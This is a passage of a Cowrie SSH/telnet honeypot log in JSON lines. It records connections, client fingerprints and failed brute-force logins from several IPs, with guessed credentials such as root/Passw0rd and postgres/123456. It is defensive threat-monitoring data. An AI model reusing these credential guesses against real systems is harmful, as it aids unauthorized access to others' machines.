ngCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.477482Z","src_ip":"43.242.203.160","session":"357f34bf03fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":43774,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5d6030d150e","protocol":"ssh","message":"New connection: 46.19.67.181:43774 (10.17.0.5:22) [session: e5d6030d150e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.532481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.538511Z","src_ip":"46.19.67.181","session":"e5d6030d150e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":51554,"dst_ip":"10.17.0.5","dst_port":23,"session":"667c162c389e","protocol":"telnet","message":"New connection: 178.128.93.180:51554 (10.17.0.5:23) [session: 667c162c389e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.638437Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.652946Z","src_ip":"46.19.67.181","session":"e5d6030d150e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1488","message":"login attempt [root/qwerty1488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.994458Z","src_ip":"46.19.67.181","session":"e5d6030d150e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:59.488994Z","src_ip":"193.151.144.93","session":"257583d25a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:59.517464Z","src_ip":"43.242.203.160","session":"357f34bf03fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:00.113899Z","src_ip":"46.19.67.181","session":"e5d6030d150e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:00.775285Z","src_ip":"43.242.203.160","session":"357f34bf03fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46062,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba05a16c670e","protocol":"ssh","message":"New connection: 193.151.144.93:46062 (10.17.0.5:22) [session: ba05a16c670e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:03.449650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:03.454799Z","src_ip":"193.151.144.93","session":"ba05a16c670e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:03.628232Z","src_ip":"193.151.144.93","session":"ba05a16c670e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:04.145628Z","src_ip":"193.151.144.93","session":"ba05a16c670e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:05.319953Z","src_ip":"193.151.144.93","session":"ba05a16c670e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46068,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb68763dcc82","protocol":"ssh","message":"New connection: 193.151.144.93:46068 (10.17.0.5:22) [session: fb68763dcc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:08.787980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:08.793208Z","src_ip":"193.151.144.93","session":"fb68763dcc82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:08.961344Z","src_ip":"193.151.144.93","session":"fb68763dcc82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:09.466254Z","src_ip":"193.151.144.93","session":"fb68763dcc82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:11.067199Z","src_ip":"193.151.144.93","session":"fb68763dcc82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48894,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3942adf9b6d","protocol":"ssh","message":"New connection: 193.151.144.93:48894 (10.17.0.5:22) [session: a3942adf9b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:14.003817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:14.009306Z","src_ip":"193.151.144.93","session":"a3942adf9b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:14.173718Z","src_ip":"193.151.144.93","session":"a3942adf9b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:14.669096Z","src_ip":"193.151.144.93","session":"a3942adf9b6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:15.835769Z","src_ip":"193.151.144.93","session":"a3942adf9b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":48904,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5f4f3b596e","protocol":"ssh","message":"New connection: 193.151.144.93:48904 (10.17.0.5:22) [session: 9b5f4f3b596e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:19.442483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:19.447197Z","src_ip":"193.151.144.93","session":"9b5f4f3b596e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:19.618571Z","src_ip":"193.151.144.93","session":"9b5f4f3b596e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:20.132015Z","src_ip":"193.151.144.93","session":"9b5f4f3b596e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:21.306240Z","src_ip":"193.151.144.93","session":"9b5f4f3b596e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.14880561828613,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:21.592114Z","src_ip":"69.4.83.194","session":"de7840534646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45958,"dst_ip":"10.17.0.5","dst_port":22,"session":"94606e9d2736","protocol":"ssh","message":"New connection: 193.151.144.93:45958 (10.17.0.5:22) [session: 94606e9d2736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:24.961903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:24.967315Z","src_ip":"193.151.144.93","session":"94606e9d2736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:25.140553Z","src_ip":"193.151.144.93","session":"94606e9d2736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:26.301257Z","src_ip":"193.151.144.93","session":"94606e9d2736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":31752,"dst_ip":"10.17.0.5","dst_port":22,"session":"e112d1ab36d1","protocol":"ssh","message":"New connection: 194.59.206.2:31752 (10.17.0.5:22) [session: e112d1ab36d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:26.419703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:26.428444Z","src_ip":"194.59.206.2","session":"e112d1ab36d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:26.511067Z","src_ip":"194.59.206.2","session":"e112d1ab36d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:26.597120Z","src_ip":"194.59.206.2","session":"e112d1ab36d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:27.475609Z","src_ip":"193.151.144.93","session":"94606e9d2736","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56170,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f55943eae70","protocol":"ssh","message":"New connection: 193.151.144.93:56170 (10.17.0.5:22) [session: 7f55943eae70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:30.269884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:30.276466Z","src_ip":"193.151.144.93","session":"7f55943eae70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:30.444569Z","src_ip":"193.151.144.93","session":"7f55943eae70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:30.946678Z","src_ip":"193.151.144.93","session":"7f55943eae70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53936,"dst_ip":"159.203.135.109","dst_port":22,"session":"dffbdbe5648c","protocol":"ssh","message":"New connection: 103.149.28.157:53936 (159.203.135.109:22) [session: dffbdbe5648c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:13:31.239415Z"}
